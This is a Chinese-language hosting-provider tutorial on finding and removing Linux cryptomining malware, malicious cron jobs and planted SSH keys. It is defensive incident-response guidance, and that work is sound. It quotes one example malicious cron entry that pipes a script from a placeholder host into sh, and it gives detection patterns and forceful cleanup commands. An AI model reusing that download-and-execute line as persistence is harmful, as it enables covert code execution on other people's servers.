Linux 伺服器

Linux 伺服器被挖礦中毒怎麼辦?排查清除挖礦木馬、惡意定時任務與 SSH 後門公鑰

8 個步驟 12 分鐘閱讀 27 次閱讀 0
本文目錄

伺服器 CPU 突然長期跑滿 100%、出現無法解釋的流量,或者收到濫用(abuse)投訴,很大機率已經被入侵。在 Linux 上,最常見的惡意程式是挖礦木馬(xmrig、kdevtmpfsi、kinsing 以及無數改名後的變種),它們通過 cron 定時任務、systemd 服務和攻擊者植入的 SSH 公鑰實現持久化。本文介紹如何確認伺服器是否被入侵、找出惡意程序和所有持久化位置、清理伺服器,並封堵攻擊者的入侵途徑。

一旦確認被入侵,唯一完全可靠的處理方式是:備份資料、重灌作業系統,再從乾淨的備份中恢復資料(而不是程式檔案)。按下文方法原地清理可以清除常見的挖礦程式和後門,但無法保證沒有其他殘留。無論採用哪種方式,處理完成後都要更換所有密碼和金鑰。

伺服器被入侵的常見跡象

  • 網站或應用處於空閒狀態時,CPU 使用率仍然接近 100%。
  • 出現名稱隨機的陌生程序,或從 /tmp、/var/tmp、/dev/shm 執行的程序。
  • 出站流量很大,對外發起 SSH 掃描,或連線陌生 IP 的 3333、4444、5555、7777、14444 等埠(常見的礦池埠)。
  • 出現不是你新增的 cron 定時任務、systemd 服務或 SSH 公鑰。
  • 收到服務商的濫用(abuse)通知,反映你的 IP 存在埠掃描、暴力破解或傳送垃圾郵件等行為。

步驟 1:查詢 CPU 佔用異常的程序

列出資源佔用最高的程序,並檢視它們的執行檔實際位於何處。惡意程式常偽裝成 [kworker]、systemd-helper 這類看似正常的名稱,但其程式檔案位於臨時目錄中,或者已經從磁碟上刪除。

# Top CPU consumers
ps aux --sort=-%cpu | head -15

# For a suspicious PID: real binary path, full command line and working directory
ls -l /proc/12345/exe
tr '\0' ' ' < /proc/12345/cmdline; echo
ls -l /proc/12345/cwd

# Processes whose binary has been deleted from disk (a classic malware trick)
ls -l /proc/*/exe 2>/dev/null | grep '(deleted)'

# Processes started from temporary directories
ls -l /proc/*/exe 2>/dev/null | grep -E '/tmp/|/var/tmp/|/dev/shm/'

有些挖礦程式一檢測到你開啟 top 就會暫停,或者通過預載入庫(見步驟 3)在 ps 中隱藏自己。如果系統負載(load average)一直居高不下,而 top 中卻看不到繁忙的程序,就應當認為有程式被隱藏了。

步驟 2:檢查網路連線

挖礦程式必須連線礦池,殭屍網路程式也必須與控制端通訊。重點查詢你的應用在正常情況下絕不會發起的已建立出站連線。

# All TCP/UDP sockets with the owning process
ss -tunap

# Only established outbound connections
ss -tnp state established

# Connections to common mining pool ports
ss -tnp | grep -E ':(3333|4444|5555|7777|14444|45700)\b'

# Live view of which hosts use bandwidth (apt/dnf install iftop)
iftop -nP

步驟 3:排查所有持久化位置

如果 cron 定時任務一分鐘後又會重新下載惡意程式,單純殺掉程序毫無意義。請逐一檢查以下位置。

# Cron jobs for every user
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/[$u] /"; done
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron* 2>/dev/null

# Systemd services and timers changed in the last 14 days
find /etc/systemd /lib/systemd /usr/lib/systemd -type f -mtime -14 2>/dev/null
systemctl list-timers --all

# Library preloading: hides processes and files from ps/ls (should normally be empty or absent)
cat /etc/ld.so.preload 2>/dev/null

# Startup scripts and shell profiles
cat /etc/rc.local 2>/dev/null
ls -la /etc/profile.d/
grep -nE 'curl|wget|base64|/tmp/|/dev/shm' /root/.bashrc /root/.profile /etc/profile /etc/bash.bashrc 2>/dev/null

典型的惡意 cron 任務類似 */5 * * * * curl -fsSL http://x.x.x.x/a.sh | sh,或者執行一段 base64 編碼的命令。凡是不是你自己建立的,都值得懷疑。

步驟 4:檢查使用者、SSH 公鑰和登入記錄

# Accounts with UID 0 (only root should be listed)
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Accounts that can log in with a shell
grep -vE 'nologin|false$' /etc/passwd

# Every authorized_keys file on the system
find / -xdev -name authorized_keys 2>/dev/null -exec sh -c 'echo "== $1"; cat "$1"' _ {} \;

# Recent successful and failed logins
last -a | head -20
lastb -a 2>/dev/null | head -20
journalctl -u ssh -u sshd --since "7 days ago" | grep -E 'Accepted|Failed' | tail -30

刪除所有你不認識的公鑰。如果發現有你從未使用過的境外 IP 登入成功,很可能說明密碼或金鑰已經洩露。

步驟 5:查詢近期修改過的檔案和隱藏檔案

# Files changed in the last 3 days outside virtual filesystems
find / -xdev -type f -mtime -3 \
  -not -path '/proc/*' -not -path '/sys/*' -not -path '/var/log/*' \
  -not -path '/var/lib/docker/*' 2>/dev/null | head -100

# Contents of temporary directories, including hidden files
ls -la /tmp /var/tmp /dev/shm

# Files made immutable so you cannot delete them
lsattr -a /tmp /var/tmp /usr/bin /usr/local/bin 2>/dev/null | grep -- '-i-'

# Verify that system binaries were not replaced
debsums -c 2>/dev/null      # Debian/Ubuntu (apt install debsums)
rpm -Va 2>/dev/null | grep '^..5'   # Rocky/AlmaLinux: files whose checksum changed

步驟 6:清理惡意程式

請按以下順序操作,防止惡意程式在清理過程中自行重啟:先移除持久化,再結束程序,最後刪除檔案。

# 1. Remove persistence: edit the crontabs, delete malicious files in /etc/cron.d,
#    then stop and disable unknown services
crontab -e
systemctl disable --now suspicious.service
rm -f /etc/systemd/system/suspicious.service && systemctl daemon-reload

# 2. Empty a malicious preload file
> /etc/ld.so.preload

# 3. Kill the processes
kill -9 12345

# 4. Remove the immutable flag, then delete the files
chattr -i -a /tmp/.x/miner
rm -rf /tmp/.x

# 5. Remove unknown SSH keys and accounts
nano /root/.ssh/authorized_keys
userdel -r unknownuser

清理完成後,修改 root 密碼和所有應用密碼(資料庫、面板、CMS 後臺),重新生成 SSH 金鑰,並用 apt update && apt upgrade 或 dnf upgrade 更新系統。如需進一步確認,可以執行 rkhunter --check 或 chkrootkit 等掃描工具;它們可能出現誤報,請仔細甄別告警內容。

步驟 7:封堵入侵途徑

我們遇到的絕大多數感染都來自少數幾個入口。請修復與你情況相符的那一項,否則伺服器幾小時內就會再次被感染。

  • SSH 弱密碼:改用金鑰登入並停用密碼認證(參見 SSH 金鑰登入),同時部署 Fail2ban。
  • 未設密碼就暴露在公網的服務:Redis(6379)、Docker API(2375)、MongoDB(27017)和 Elasticsearch(9200)一直在被持續掃描。請將它們繫結到 127.0.0.1,或者用防火牆遮蔽。
  • 過時的網站程式和外掛:及時更新 CMS、外掛和伺服器面板,並刪除不再使用的網站。
  • 金鑰洩露:SSH 私鑰或面板密碼在其他地方重複使用。請全部更換。

常見問題

執行 top 時 CPU 恢復正常,退出後又升高,為什麼?

很多挖礦程式會檢測監控工具,在其執行期間暫停挖礦。可以改用 uptime 或控製麵板中的 CPU 圖表觀察;即使看不到程序,也可以按照步驟 3 至步驟 5 找出持久化位置。

應該原地清理還是重灌系統?

如果攻擊者拿到過 root 許可權,重灌是最安全的選擇:備份網站檔案和資料庫,重灌作業系統,先完成安全加固,再恢復資料。如果只是簡單的挖礦程式,並且已經找到並清除了所有持久化位置和根本原因,原地清理也可以接受。

伺服器在對外發起攻擊,收到了 abuse 工單,該怎麼辦?

請回復該工單,立即下線被感染的服務或清理伺服器,並告訴我們你發現了什麼、修復了什麼。對外攻擊會危害其他網路,也會損害你的 IP 信譽,因此必須儘快處理。

如果按以上步驟操作後問題仍未解決,請提交工單聯絡 IMIDC 7×24 技術支援,並附上伺服器 IP、系統版本、發現的可疑程序或檔案以及上述命令的輸出結果,方便工程師快速定位。

這篇文章有幫助嗎?

相關教程